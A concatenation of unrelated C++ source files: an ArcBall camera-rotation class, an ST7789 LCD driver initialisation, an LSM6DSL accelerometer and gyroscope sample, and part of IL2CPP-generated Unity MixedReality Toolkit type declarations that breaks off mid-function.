must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the ALICE Project-Team nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * If you modify this software, you should include a notice giving the * name of the person performing the modification, the date of modification, * and the reason for such modification. * * Contact: * * * http://www.loria.fr/~levy * * ALICE Project * LORIA, INRIA Lorraine, * Campus Scientifique, BP 239 * 54506 VANDOEUVRE LES NANCY CEDEX * FRANCE * */ #include #include namespace GEO { /******************************************************************/ ArcBallImpl::ArcBallImpl() : center_(0.0,0.0), radius_(1.0), last_point_(0.0,0.0) { constrain_x_ = false ; constrain_y_ = false ; grabbed_ = false ; } vec3 ArcBallImpl::constrain_vector( const vec3& vector, const vec3& axis ) const { vec3 result = normalize(vector - dot(vector, axis)*axis) ; return result ; } vec3 ArcBallImpl::mouse_to_sphere( const vec2& p_in ) { vec2 p(p_in.x / 1.96, -p_in.y / 1.96) ; double mag; vec2 v2 = (center_ - p) / radius_ ; vec3 v3( v2.x, v2.y, 0.0 ); mag = dot(v2, v2); if ( mag > 1.0 ) { v3 = normalize(v3) ; } else { v3 = vec3(v3.x, v3.y, -sqrt(1.0 - mag)) ; } /* Now we add constraints - X takes precedence over Y */ if ( constrain_x_ ) { v3 = constrain_vector( v3, vec3( 1.0, 0.0, 0.0 )); } else if ( constrain_y_ ) { v3 = constrain_vector( v3, vec3( 0.0, 1.0, 0.0 )); } return v3 ; } void ArcBallImpl::grab(const vec2& value) { last_point_ = value ; grabbed_ = true ; } void ArcBallImpl::release(const vec2&) { // value_changed(matrix_) ; grabbed_ = false ; } void ArcBallImpl::drag(const vec2& value) { if(!grabbed_) { return ; } vec2 new_point = value ; vec3 v0 = mouse_to_sphere( last_point_ ); vec3 v1 = mouse_to_sphere( new_point ); vec3 cross_ = cross(v0, v1) ; Quaternion update_quaternion(cross_, -dot(v0, v1) ); mat4 update_matrix = update_quaternion.to_matrix() ; matrix_ = matrix_ * update_matrix ; // value_changed(matrix_) ; last_point_ = new_point ; } void ArcBallImpl::set_value(const mat4& m) { matrix_ = m ; // value_changed(matrix_) ; } /*****************************************************/ } 1-10 /** * @file st7789.cpp * */ /* Copyright (C) 2022 by mailto: * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "spi/st7789.h" #include "spi/st77xx.h" #include "spi/spi_lcd.h" #include "hal_gpio.h" #include "debug.h" using namespace spi::lcd; ST7789::ST7789() { DEBUG_ENTRY DEBUG_EXIT } ST7789::~ST7789() { DEBUG_ENTRY DEBUG_EXIT } void ST7789::Init(void) { DEBUG_ENTRY #if defined(DEV_RST_PIN) HW_Reset(); #endif Write_Command(st77xx::cmd::SWRESET); ms_delay(150); Write_Command(st77xx::cmd::COLMOD); WriteData_Byte(0x55); Write_Command(0xB7); WriteData_Byte(0x35); Write_Command(0xBB); WriteData_Byte(0x19); Write_Command(0xC0); WriteData_Byte(0x2C); Write_Command(0xC2); WriteData_Byte(0x01); Write_Command(0xC3); WriteData_Byte(0x12); Write_Command(0xC4); WriteData_Byte(0x20); Write_Command(0xC6); WriteData_Byte(0x0F); Write_Command(0xD0); WriteData_Byte(0xA4); WriteData_Byte(0xA1); SetRotation(0); Write_Command(st77xx::cmd::INVON); Write_Command(st77xx::cmd::SLPOUT); Write_Command(st77xx::cmd::DISPON); DEBUG_EXIT } void ST7789::SetRotation(uint32_t nRotation) { Write_Command(st77xx::cmd::MADCTL); switch (nRotation) { case 0: WriteData_Byte(st77xx::data::MADCTL_MX | st77xx::data::MADCTL_MY | st77xx::data::MADCTL_RGB); m_nShiftX = st7789::ROTATION_0_SHIFT_X; m_nShiftY = st7789::ROTATION_0_SHIFT_Y; m_nWidth = config::WIDTH; m_nHeight = config::HEIGHT; break; case 1: WriteData_Byte(st77xx::data::MADCTL_MY | st77xx::data::MADCTL_MV | st77xx::data::MADCTL_RGB); m_nShiftX = st7789::ROTATION_1_SHIFT_X; m_nShiftY = st7789::ROTATION_1_SHIFT_Y; m_nWidth = config::HEIGHT; m_nHeight = config::WIDTH; break; case 2: WriteData_Byte(st77xx::data::MADCTL_RGB); m_nShiftX = st7789::ROTATION_2_SHIFT_X; m_nShiftY = st7789::ROTATION_2_SHIFT_Y; m_nWidth = config::WIDTH; m_nHeight = config::HEIGHT; break; case 3: WriteData_Byte(st77xx::data::MADCTL_MX | st77xx::data::MADCTL_MV | st77xx::data::MADCTL_RGB); m_nShiftX = st7789::ROTATION_3_SHIFT_X; m_nShiftY = st7789::ROTATION_3_SHIFT_Y; m_nWidth = config::HEIGHT; m_nHeight = config::WIDTH; break; default: assert(0); __builtin_unreachable(); break; } m_nRotate = static_cast(nRotation); } samples/Peripherals/LSM6DSL/LSM6DSL_sample.cpp #include "LSM6DSL_sample.h" #include #include void lsm6dslSample(codal::STM32DISCO_L475VG_IOT& discoL475VgIot) { discoL475VgIot.serial.init(115200); printf("\r\n"); printf("*******************************************\r\n"); printf("* Demonstration du LSM6DSL *\r\n"); printf("*******************************************\r\n"); codal::LSM6DSL lsm6dsl(&discoL475VgIot.i2c2, 0xD4); lsm6dsl.init(); std::array gyroscopeMeasure; std::array accelerometerMeasure; while (true) { gyroscopeMeasure = lsm6dsl.getGyroscopeMeasure(); accelerometerMeasure = lsm6dsl.getAccelerometerMeasure(); printf("Accelerometer [G] : %5.3f %5.3f %5.3f\r\n", accelerometerMeasure[0], accelerometerMeasure[1], accelerometerMeasure[2]); printf("Gyroscope [°/s (dps)] : %5.3f %5.3f %5.3f\r\n", gyroscopeMeasure[0], gyroscopeMeasure[1], gyroscopeMeasure[2]); printf("\r\n"); discoL475VgIot.sleep(1000); } } #include "pch-cpp.hpp" #ifndef _MSC_VER # include #else # include #endif #include #include #include "vm/CachedCCWBase.h" #include "utils/New.h" template struct VirtFuncInvoker0 { typedef R (*Func)(void*, const RuntimeMethod*); static inline R Invoke (Il2CppMethodSlot slot, RuntimeObject* obj) { const VirtualInvokeData& invokeData = il2cpp_codegen_get_virtual_invoke_data(slot, obj); return ((Func)invokeData.methodPtr)(obj, invokeData.method); } }; // System.Action`1 struct Action_1_tD9663D9715FAA4E62035CFCF1AD4D094EE7872DC; // System.Collections.Concurrent.ConcurrentQueue`1 struct ConcurrentQueue_1_tA6D925C7D9B5461E41C08314EA9AE5C2CE493CB7; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t40AD0E25A9C651DF2D10B7C03EE5D87856C2A72D; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_tA0FD2AFAAFE4AEDFD84AEE2B7DA1E4180E174DBF; // System.Collections.Generic.Dictionary`2> struct Dictionary_2_t877A02A3DCED84372E8F6CA424353CD00CD1EF45; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t6129019525B6065C5CB178570DE87B8155840619; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_tBFEF92C709D6CF5C8220E4553DF6064FCB30A49B; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t90E0DC17995431E62A89609E53E52FDDD331CC34; // System.Collections.Generic.Dictionary`2> struct Dictionary_2_tEB7DD469D67D40F77F686DD4BC38E8ED993B35A9; // System.Collections.Generic.Dictionary`2 struct Dictionary_2_t78C37D8D8F911C9AB8FC854F6A72BF3916C60FC4; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> struct EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> struct EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1 struct EventFunction_1_t355F223C9D21277D911E4B55A91C27A9FDAE61AF; // System.Collections.Generic.IReadOnlyList`1 struct IReadOnlyList_1_t8E7D506555C39BDC847A5B62DB9413C0E19F9C8A; // System.Collections.Generic.List`1> struct List_1_t8473DB386AC0B94DD5FF2E16A7570939FC4C15F9; // System.Collections.Generic.List`1> struct List_1_tA13D401EC270D24A0D7662CA0E55BD0EF020D215; // System.Collections.Generic.List`1 struct List_1_tE21C42BE31D35DD3ECF3322C6CA057E27A81B4D5; // System.Collections.Generic.List`1 struct List_1_t6D0A10F47F3440798295D2FFFC6D016477AF38E5; // System.Collections.Generic.List`1 struct List_1_t476C8CC2E74FC5F7DE5B5CFE6830822665402F1F; // System.Collections.Generic.List`1 struct List_1_tD812850D83CCFFD34E9A310E2AE62B198E513F2C; // System.Collections.Generic.List`1 struct List_1_t260B41F956D673396C33A4CF94E8D6C4389EACB7; // System.Collections.Generic.List`1 struct List_1_t053E82C4FE1FEB4EF0149CCADF601193CE96CB4D; // System.Collections.Generic.List`1 struct List_1_t884C040642DCB159A123549C8F62D3860DCC52FF; // System.Collections.Generic.List`1 struct List_1_tAE037B58DD2A07B4BE1C2953C5736358AD7C3BAD; // System.Collections.Generic.List`1 struct List_1_t6C9F81EDBF0F4A31A9B0DA372D2EF34BDA3A1AF3; // System.Collections.Generic.List`1 struct List_1_t577D28CFF6DFE3F6A8D4409F7A21CBF513C04181; // System.Collections.Generic.List`1 struct List_1_t14D5F8426BD7087A7AEB49D4DE3DEF404C8BE65A; // System.Collections.Generic.List`1 struct List_1_t39579540B4BF5D674E4CAA282D3CEA957BCB90D4; // Microsoft.MixedReality.Toolkit.SpatialAwareness.MixedRealitySpatialAwarenessEventData`1 struct MixedRealitySpatialAwarenessEventData_1_tF7D69DC7933E29CC1550C477DDCEBB80CBDF9A9E; // Microsoft.MixedReality.Toolkit.SpatialAwareness.MixedRealitySpatialAwarenessEventData`1 struct MixedRealitySpatialAwarenessEventData_1_tFFFE9C796D7933A1A6252E5F34D692980EC69DD3; // System.Collections.Generic.Queue`1 struct Queue_1_t5444887607C926D74BF49AFF18829466A23A9D3B; // System.Threading.Tasks.Task`1 struct Task_1_tEF253D967DB628A9F8A389A9F2E4516871FD3725; // System.Tuple`2 struct Tuple_2_t9780D2A61D8DBBB60BF3E0DEDBE022E5856BD800; // System.Byte[] struct ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726; // System.Char[] struct CharU5BU5D_t7B7FC5BC8091AA3B9CB0B29CDD80B5EE9254AA34; // Microsoft.MixedReality.Toolkit.Boundary.Edge[] struct EdgeU5BU5D_t11155979B4B93616C99DE0339151AC8B100D3D5D; // System.String[] struct StringU5BU5D_tACEBFEDE350025B554CD507C9AE8FFE49359549A; // Microsoft.MixedReality.Toolkit.Input.BaseInputDeviceManager/PointerConfig[] struct PointerConfigU5BU5D_tAB402AEBBC6B3D1142E9E6CB11F242801DC4574C; // System.Action struct Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6; // System.Diagnostics.Tracing.ActivityFilter struct ActivityFilter_tDE324191EED4A666088536472641E58C3BC81385; // UnityEngine.AudioClip struct AudioClip_t16D2E573E7CC1C5118D8EE0F0692D46866A1C0EE; // Microsoft.MixedReality.Toolkit.Input.BaseGlobalInputSource struct BaseGlobalInputSource_tE9B93B834C51342F071089F6B2AB580A0219AEF2; // Microsoft.MixedReality.Toolkit.BaseMixedRealityProfile struct BaseMixedRealityProfile_tEC8B9AB34958AC5CDD042A38A74ED038415CF4CF; // Microsoft.MixedReality.Toolkit.Boundary.BoundaryEventData struct BoundaryEventData_tF3191826FD556ED99C56A8E197F3A32143415FA4; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest struct BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundsControlRuntimeExample struct BoundsControlRuntimeExample_tAD71A148CC11D847755415293E50CDA601C8B208; // UnityEngine.BoxCollider struct BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5; // UnityEngine.UI.Button struct Button_tA893FC15AB26E1439AC25BDCA7079530587BB65D; // System.Byte struct Byte_t0111FAB8B8685667EDDAF77683F0D8F86B659056; // System.Threading.CancellationTokenSource struct CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3; // Microsoft.MixedReality.Toolkit.Experimental.InteractiveElement.CompressableButton struct CompressableButton_t594F43A12BD366CE6A1E7E563219E6A96C2B27F1; // Microsoft.MixedReality.Toolkit.UI.CustomInteractablesReceiver struct CustomInteractablesReceiver_t77423DDE2C42025153A88953C31A4CFA3EDA35A6; // UnityEngine.Rendering.UI.DebugUIHandlerEnumHistory struct DebugUIHandlerEnumHistory_tC0EF9445B241549773A5755A726C640CF0DDE908; // UnityEngine.Windows.Speech.DictationRecognizer struct DictationRecognizer_t1D780630D3CBF85CB9455233AB6BD7933544AA4B; // Microsoft.MixedReality.Toolkit.Utilities.EyeGazeSmoother struct EyeGazeSmoother_tB8BD35D2746136A235BCC6618C57B8B224B5FA48; // UnityEngine.GameObject struct GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319; // System.Runtime.InteropServices.IMarshal struct IMarshal_tD34B3265844DB850A43AD96E1A0ABA8DFCF3397F; // Microsoft.MixedReality.Toolkit.CameraSystem.IMixedRealityCameraSystem struct IMixedRealityCameraSystem_t168F62A5236518B8EDAD06AFD6E258EF8B5C0457; // Microsoft.MixedReality.Toolkit.Input.IMixedRealityGazeProviderHeadOverride struct IMixedRealityGazeProviderHeadOverride_t639443EF48CEE257BA4C6391C7112B7390F665FC; // Microsoft.MixedReality.Toolkit.Input.IMixedRealityInputSource struct IMixedRealityInputSource_t923212C7B71ADAD3E3C21B99009C9612530D3FE7; // Microsoft.MixedReality.Toolkit.Input.IMixedRealityInputSystem struct IMixedRealityInputSystem_t6D453243E31F7729D3E9B49623B6B7092296E4C4; // Microsoft.MixedReality.Toolkit.IMixedRealityServiceRegistrar struct IMixedRealityServiceRegistrar_t96040EB1E30984BEEE1B1302381393D337FD6ABC; // Microsoft.MixedReality.Toolkit.SpatialAwareness.IMixedRealitySpatialAwarenessSystem struct IMixedRealitySpatialAwarenessSystem_t68AB7D55F0DA754D6C02996CE17A595FF5B6A34F; // Microsoft.MixedReality.Toolkit.Boundary.InscribedRectangle struct InscribedRectangle_t2F2669C9A98C3392B287F0A382063A71E017C72C; // UnityEngine.Windows.Speech.KeywordRecognizer struct KeywordRecognizer_t118BF0FCD4DEE469BD742508DBB9AA9BDED9A15F; // UnityEngine.Material struct Material_t8927C00353A72755313F046D0CE85178AE8218EE; // UnityEngine.Mesh struct Mesh_t2F5992DBA650D5862B43D3823ACD997132A57DA6; // Microsoft.MixedReality.Toolkit.Boundary.MixedRealityBoundaryVisualizationProfile struct MixedRealityBoundaryVisualizationProfile_tE067B54778DDA7D645CAE679F109AE611397A351; // System.Reflection.Module struct Module_tAAF0DBC4FB20AB46035441C66C41A8DB813C8CD7; // Microsoft.MixedReality.Toolkit.UI.ObjectManipulator struct ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603; // UnityEngine.PhysicMaterial struct PhysicMaterial_tD3D9C84806E95BABF076A74331DF8D9A4B03E3C2; // Microsoft.MixedReality.Toolkit.CameraSystem.ProjectionOverride struct ProjectionOverride_t4DF569F4323CCAE299E1DF0A1EAC2D923195FFC4; // System.Security.Cryptography.RandomNumberGenerator struct RandomNumberGenerator_t2CB5440F189986116A2FA9F907AE52644047AC50; // System.Text.RegularExpressions.Regex struct Regex_t90F443D398F44965EA241A652ED75DF5BA072A1F; // System.Runtime.InteropServices.SafeBuffer struct SafeBuffer_tABA0D0B754FCCF3625CD905D535296E353C630D2; // System.Threading.SemaphoreSlim struct SemaphoreSlim_t3EF85FC980AE57957BEBB6B78E81DE2E3233D385; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshObject struct SpatialAwarenessMeshObject_t714D18632EDCC5238156A908F5F8132BF0291944; // System.String struct String_t; // System.Text.StringBuilder struct StringBuilder_t; // System.Threading.Tasks.Task struct Task_t804B25CFE3FC13AAEE16C8FA3BF52513F2A8DB60; // UnityEngine.TextAsset struct TextAsset_t1969F5FD1F628C7C0A70D9605C0D251B4F547234; // UnityEngine.Texture struct Texture_t9FE0218A1EEDF266E8C85879FE123265CACC95AE; // System.Timers.Timer struct Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE; // UnityEngine.Transform struct Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1; // System.Type struct Type_t; // UnityEngine.VFX.VisualEffectAsset struct VisualEffectAsset_tEFF95BDCD904AF7D5DEA8CF020C62E23A978EC50; // System.Void struct Void_t700C6383A2A510C2CF4DD86DABD5CA9FF70ADAC5; // UnityEngine.WaitUntil struct WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21; // Microsoft.MixedReality.Toolkit.WindowsMixedReality.WindowsMixedRealityReprojectionUpdater struct WindowsMixedRealityReprojectionUpdater_t88EA6DECA4D02D71B2C00B02938FEED0ABB37434; // System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer struct WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129; // UnityEngine.XR.XRMeshSubsystem struct XRMeshSubsystem_t60BD977DF1B014CF5D48C8EBCC91DED767520D63; // System.IO.Stream/ReadWriteTask struct ReadWriteTask_t32CD2C230786712954C1DB518DBE420A1F4C7974; IL2CPP_EXTERN_C RuntimeClass* String_t_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_il2cpp_TypeInfo_var; IL2CPP_EXTERN_C RuntimeClass* Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_il2cpp_TypeInfo_var; struct DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ; struct Guid_t ; struct IBindableIterator_tD7550F1144CFBE58090050457A2BE92B1CAEABBB; struct IIterator_1_tB1AB5AB497E87D6A397AA084D3D3D6B8D211022C; struct Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ; struct Rect_tC45F1DDF39812623644DE296D8057A4958176627 ; struct Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ; struct TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ; IL2CPP_EXTERN_C_BEGIN IL2CPP_EXTERN_C_END #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // Windows.Foundation.Collections.IIterable`1 struct NOVTABLE IIterable_1_t64693143CE4E5082C6101BC54B0427C21F3C01C4 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IIterable_1_First_m54AC7E778E98ED35C6B7AD98C35C325B8A3DF619(IIterator_1_tB1AB5AB497E87D6A397AA084D3D3D6B8D211022C** comReturnValue) = 0; }; // System.Runtime.InteropServices.IAgileObject struct NOVTABLE IAgileObject_t6F1702BEB08256952B124A9982A893DF328C2434 : Il2CppIUnknown { static const Il2CppGuid IID; }; // Windows.UI.Xaml.Interop.IBindableIterable struct NOVTABLE IBindableIterable_tF6BD0C070562CD9C91E3C1B1A5F4667E9C3C74A8 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IBindableIterable_First_m91EC6ED0173145266318FDB7F9074798CD766BD7(IBindableIterator_tD7550F1144CFBE58090050457A2BE92B1CAEABBB** comReturnValue) = 0; }; // Windows.Storage.Streams.IBuffer struct NOVTABLE IBuffer_t33ECA22EB7DDA1EF333215FF8109DC736AF11FBC : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IBuffer_get_Capacity_m970326E6407CE3EC1CF64E69994517B316028691(uint32_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IBuffer_get_Length_mF5A8C72B170E0798C7D1709BFD0E501FDF566349(uint32_t* comReturnValue) = 0; virtual il2cpp_hresult_t STDCALL IBuffer_put_Length_m257651767765E9EB93F950F3ADA01F4ACF8A2D59(uint32_t ___value0) = 0; }; // Windows.Foundation.IClosable struct NOVTABLE IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() = 0; }; // System.Object // System.MarshalByRefObject struct MarshalByRefObject_tD4DF91B488B284F899417EC468D8E50E933306A8 : public RuntimeObject { public: // System.Object System.MarshalByRefObject::_identity RuntimeObject * ____identity_0; public: inline static int32_t get_offset_of__identity_0() { return static_cast(offsetof(MarshalByRefObject_tD4DF91B488B284F899417EC468D8E50E933306A8, ____identity_0)); } inline RuntimeObject * get__identity_0() const { return ____identity_0; } inline RuntimeObject ** get_address_of__identity_0() { return &____identity_0; } inline void set__identity_0(RuntimeObject * value) { ____identity_0 = value; Il2CppCodeGenWriteBarrier((void**)(&____identity_0), (void*)value); } }; // Native definition for P/Invoke marshalling of System.MarshalByRefObject struct MarshalByRefObject_tD4DF91B488B284F899417EC468D8E50E933306A8_marshaled_pinvoke { Il2CppIUnknown* ____identity_0; }; // Native definition for COM marshalling of System.MarshalByRefObject struct MarshalByRefObject_tD4DF91B488B284F899417EC468D8E50E933306A8_marshaled_com { Il2CppIUnknown* ____identity_0; }; // System.String struct String_t : public RuntimeObject { public: // System.Int32 System.String::m_stringLength int32_t ___m_stringLength_0; // System.Char System.String::m_firstChar Il2CppChar ___m_firstChar_1; public: inline static int32_t get_offset_of_m_stringLength_0() { return static_cast(offsetof(String_t, ___m_stringLength_0)); } inline int32_t get_m_stringLength_0() const { return ___m_stringLength_0; } inline int32_t* get_address_of_m_stringLength_0() { return &___m_stringLength_0; } inline void set_m_stringLength_0(int32_t value) { ___m_stringLength_0 = value; } inline static int32_t get_offset_of_m_firstChar_1() { return static_cast(offsetof(String_t, ___m_firstChar_1)); } inline Il2CppChar get_m_firstChar_1() const { return ___m_firstChar_1; } inline Il2CppChar* get_address_of_m_firstChar_1() { return &___m_firstChar_1; } inline void set_m_firstChar_1(Il2CppChar value) { ___m_firstChar_1 = value; } }; struct String_t_StaticFields { public: // System.String System.String::Empty String_t* ___Empty_5; public: inline static int32_t get_offset_of_Empty_5() { return static_cast(offsetof(String_t_StaticFields, ___Empty_5)); } inline String_t* get_Empty_5() const { return ___Empty_5; } inline String_t** get_address_of_Empty_5() { return &___Empty_5; } inline void set_Empty_5(String_t* value) { ___Empty_5 = value; Il2CppCodeGenWriteBarrier((void**)(&___Empty_5), (void*)value); } }; // System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52 : public RuntimeObject { public: public: }; // Native definition for P/Invoke marshalling of System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_pinvoke { }; // Native definition for COM marshalling of System.ValueType struct ValueType_tDBF999C1B75C48C68621878250DBF6CDBCF51E52_marshaled_com { }; // UnityEngine.Rendering.VolumeStack struct VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC : public RuntimeObject { public: // System.Collections.Generic.Dictionary`2 UnityEngine.Rendering.VolumeStack::components Dictionary_2_t78C37D8D8F911C9AB8FC854F6A72BF3916C60FC4 * ___components_0; public: inline static int32_t get_offset_of_components_0() { return static_cast(offsetof(VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC, ___components_0)); } inline Dictionary_2_t78C37D8D8F911C9AB8FC854F6A72BF3916C60FC4 * get_components_0() const { return ___components_0; } inline Dictionary_2_t78C37D8D8F911C9AB8FC854F6A72BF3916C60FC4 ** get_address_of_components_0() { return &___components_0; } inline void set_components_0(Dictionary_2_t78C37D8D8F911C9AB8FC854F6A72BF3916C60FC4 * value) { ___components_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___components_0), (void*)value); } }; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12 struct U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF : public RuntimeObject { public: // System.Int32 Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::<>1__state int32_t ___U3CU3E1__state_0; // System.Object Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::<>2__current RuntimeObject * ___U3CU3E2__current_1; // Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::<>4__this BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * ___U3CU3E4__this_2; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::5__2 GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___U3CcubeU3E5__2_3; // Microsoft.MixedReality.Toolkit.UI.ObjectManipulator Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::5__3 ObjectManipulator_tFF6ABCD9F9411E6099F8714B4F798FC3FE987603 * ___U3ComU3E5__3_4; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::5__4 GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___U3CnewObjectU3E5__4_5; // UnityEngine.BoxCollider Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::5__5 BoxCollider_tA530691AC1A3C9FE6428F68F98588FCB1BF9AAA5 * ___U3CbcU3E5__5_6; // UnityEngine.Transform Microsoft.MixedReality.Toolkit.Examples.Demos.BoundingBoxExampleTest/d__12::5__6 Transform_tA8193BB29D4D2C7EC04918F3ED1816345186C3F1 * ___U3ClastParentU3E5__6_7; public: inline static int32_t get_offset_of_U3CU3E1__state_0() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CU3E1__state_0)); } inline int32_t get_U3CU3E1__state_0() const { return ___U3CU3E1__state_0; } inline int32_t* get_address_of_U3CU3E1__state_0() { return &___U3CU3E1__state_0; } inline void set_U3CU3E1__state_0(int32_t value) { ___U3CU3E1__state_0 = value; } inline static int32_t get_offset_of_U3CU3E2__current_1() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CU3E2__current_1)); } inline RuntimeObject * get_U3CU3E2__current_1() const { return ___U3CU3E2__current_1; } inline RuntimeObject ** get_address_of_U3CU3E2__current_1() { return &___U3CU3E2__current_1; } inline void set_U3CU3E2__current_1(RuntimeObject * value) { ___U3CU3E2__current_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CU3E2__current_1), (void*)value); } inline static int32_t get_offset_of_U3CU3E4__this_2() { return static_cast(offsetof(U3CSequenceU3Ed__12_t22C2E85ECFF50B0BA2123206C0746B9BAAB705DF, ___U3CU3E4__this_2)); } inline BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * get_U3CU3E4__this_2() const { return ___U3CU3E4__this_2; } inline BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE ** get_address_of_U3CU3E4__this_2() { return &___U3CU3E4__this_2; } inline void set_U3CU3E4__this_2(BoundingBoxExampleTest_t7EEC26CE750E170F7D8D231C29B933B4FECC6DAE * value) { ___U3CU3E4__this_2 = value; 